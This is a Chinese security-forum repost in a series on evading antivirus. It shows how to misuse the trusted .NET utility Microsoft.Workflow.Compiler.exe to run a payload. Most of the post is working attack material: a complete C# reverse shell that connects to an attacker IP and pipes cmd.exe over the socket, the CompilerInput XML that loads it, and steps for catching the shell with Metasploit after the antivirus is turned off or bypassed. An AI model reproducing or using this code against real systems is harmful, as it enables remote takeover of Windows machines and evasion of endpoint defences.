安全矩阵

 找回密码
 立即注册
搜索
查看: 1649|回复: 0

远控免杀专题(43)-白名单Compiler.exe执行payload

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
发表于 2020-3-13 21:20:33 | 显示全部楼层 |阅读模式
远控免杀专题(43)-白名单Compiler.exe执行payload转载自微信公众号:Tide安全团队      作者:雨夜RainyNight





免杀能力一览表



几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
一、Compiler.exe介绍

Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。
Microsoft.Workflow.Comiler.exe需要两个命令行参数,第一个参数必须是一个XML文件(由一个序列化CompilerInput对象构成)的路径,第二个参数则是写入序列化编译结果的文件路径。
由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。

二、使用Compiler.exe执行payload
注意:如果Microsoft.Workflow.Compiler命令无法识别,可能是Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中。
Win7的Compiler.exe默认位置:
  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe

  2. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

  3. 攻击机kali:192.168.247.131
复制代码
靶机win7(64):192.168.247.133(装有某数字杀毒)
攻击机配置监听
靶机执行,会被拦截提示可疑操作。
关闭杀毒软件再次执行或者点击允许程序执行。
MSF成功弹回shell。
  • test.tcp代码
  1. using System;
  2. using System.Text;
  3. using System.IO;
  4. using System.Diagnostics;
  5. using System.ComponentModel;
  6. using System.Net;
  7. using System.Net.Sockets;
  8. using System.Workflow.Activities;
  9. public class Program : SequentialWorkflowActivity
  10. {
  11. static StreamWriter streamWriter;
  12. public Program()
  13. {
  14. using(TcpClient client = new TcpClient("192.168.247.131", 10129))
  15. {
  16. using(Stream stream = client.GetStream())
  17. {
  18. using(StreamReader rdr = new StreamReader(stream))
  19. {
  20. streamWriter = new StreamWriter(stream);
  21. StringBuilder strInput = new StringBuilder();
  22. Process p = new Process();
  23. p.StartInfo.FileName = "cmd.exe";
  24. p.StartInfo.CreateNoWindow = true;
  25. p.StartInfo.UseShellExecute = false;
  26. p.StartInfo.RedirectStandardOutput = true;
  27. p.StartInfo.RedirectStandardInput = true;
  28. p.StartInfo.RedirectStandardError = true;
  29. p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
  30. p.Start();
  31. p.BeginOutputReadLine();
  32. while(true)
  33. {
  34. strInput.Append(rdr.ReadLine());
  35. p.StandardInput.WriteLine(strInput);
  36. strInput.Remove(0, strInput.Length);
  37. }
  38. }
  39. }
  40. }
  41. }
  42. private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
  43. {
  44. StringBuilder strOutput = new StringBuilder();
  45. if (!String.IsNullOrEmpty(outLine.Data))
  46. {
  47. try
  48. {
  49. strOutput.Append(outLine.Data);
  50. streamWriter.WriteLine(strOutput);
  51. streamWriter.Flush();
  52. }
  53. catch (Exception err) { }
  54. }
  55. }
  56. }
复制代码

  • yuye.xml代码
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
  3. <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
  4. <d2p1:string>test.tcp</d2p1:string>
  5. </files>
  6. <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
  7. <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  8. <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  9. <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
  10. <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  11. <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  12. <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
  13. <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
  14. <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
  15. <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  16. <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  17. <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
  18. <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  19. <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
  20. <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
  21. <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
  22. <d2p1:checkTypes>false</d2p1:checkTypes>
  23. <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
  24. <d2p1:compilerOptions i:nil="true" />
  25. <d2p1:generateCCU>false</d2p1:generateCCU>
  26. <d2p1:languageToUse>CSharp</d2p1:languageToUse>
  27. <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
  28. <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
  29. <d2p1:mtInfo i:nil="true"/>
  30. <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
  31. </parameters>
  32. </CompilerInput>
复制代码


三、参考资料
Micro8:  《白名单Compiler.exe执行payload》:https://micro8.gitbook.io/micro8/contents-1/71-80/76-ji-yu-bai-ming-dan-compiler.exe-zhi-hang-payload-di-liu-ji



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-16 23:40 , Processed in 0.029365 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表